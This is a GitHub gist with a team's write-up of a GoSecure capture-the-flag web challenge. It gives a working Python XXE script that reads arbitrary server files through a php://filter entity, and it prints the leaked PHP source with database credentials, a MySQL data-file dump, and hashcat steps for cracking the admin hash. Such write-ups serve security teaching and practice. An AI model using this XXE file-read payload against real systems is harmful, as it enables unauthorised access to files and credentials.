Skip to content

Instantly share code, notes, and snippets.

@h3xstream
Last active August 13, 2018 08:34
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save h3xstream/3d51b99f651548f7fa2b to your computer and use it in GitHub Desktop.
Save h3xstream/3d51b99f651548f7fa2b to your computer and use it in GitHub Desktop.
GoSecure CTF - Web 300 pts writeup

Starting at the URL http://web300.gosec.net:6473/, we can see a page serving a static image /troll.jpg. No special parameter can be found. The image is confirm to be static. Some stegano test were done on the image but nothing special is observe.

troll page

Hidden admin page

We scan the host for hidden files and directories using tachyon. The tool found the existence of /admin.php.

login page

XXE on the 'ip' parameter

The login page does a HTTP request behind the scene.

GET /tracker.php?ip=%3Cip%3E24.37.129.50%3C/ip%3E HTTP/1.1
Host: web300.gosec.net:6473

We test the parameter ip for XXE. (Script genrated using Reissue Request Scripter)

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64decode
import sys


session = requests.Session()
file = sys.argv[1]

xml = """
<!DOCTYPE trk [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=""" +file+ """">
]>
<ip>&xxe;</ip>
"""

paramsGet = {"ip":xml}
headers = {"Accept-Language":"en-US,en;q=0.5","X-Requested-With":"XMLHttpRequest","Accept-Encoding":"gzip, deflate","Referer":"http://web300.gosec.net:6473/admin.php","Accept":"*/*","Connection":"keep-alive"}
cookies = {"PHPSESSID":"mtlrcjeho92fnfbq32larj2cr7"}
response = session.get("http://web300.gosec.net:6473/tracker.php", params=paramsGet, headers=headers, cookies=cookies, auth=HTTPBasicAuth("web300","1265EsDy72cY7yr"))

#print "Status code:", response.status_code
print b64decode(response.text)

Capturing interesting files

We can than fetch the source code of /var/www/admin.php using the previous script.

<?php
session_start();
$_POST = (object)$_POST;
$_POST->error = false;
$result = "";

if($_POST->username && $_POST->password) {
	$link = mysql_connect('localhost', 'root', 'z0JM45x6FvI1Slj');
	mysql_select_db('users', $link);
	$query = 'SELECT username, password FROM user WHERE username = ' . sanitize($_POST->username);
	$_SESSION['result'] = mysql_query($query);
	if(mysql_num_rows($_SESSION['result']) != 0) {
		while(($row = mysql_fetch_assoc($_SESSION['result']))) {
			if($row['password'] == md5($_POST->password . 'Tr0ll1ngS4lT!3l337')) {
				$_SESSION['LOGGED_IN'] = true;
			} else {
				$_POST->error = true;
			}
		}
	} else {
		$_POST->error = true;
	}
}

function sanitize($buffer) {
	return "'" . addslashes(str_replace("'", '', $buffer)) . "'";
}
?>
<!DOCTYPE html>
[...]

Suprisingly, the MySql cache is readable by the user www-data. From it, we can extract the hash of the admin user.

$ python xxe.py "/var/lib/mysql/ibdata1" > mysql_cache_dump
$ strings mysql_cache_dump
[...]
admin9e1b6b6f4377b35c175465946bf61dae

Cracking the hash

The hash 9e1b6b6f4377b35c175465946bf61dae is the result of md5(PASSWORD+'Tr0ll1ngS4lT!3l337'). On hashcat it refer to the hash type: 10.

crackme.txt

9e1b6b6f4377b35c175465946bf61dae:Tr0ll1ngS4lT!3l337
$ cudaHashcat64.exe -m 10 -a 3 -o outfile.txt crackme.txt
b4ddrug

If we concatenate the admin password to the flag prefix found in the source code, the final flag is : FLAG-7S131l13M7v9K5Yv86ob4ddrug.

Credits: l33tb33s Team (madmantm, h3xstream, 0xquad, ldionmarcil, mcw, tito)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment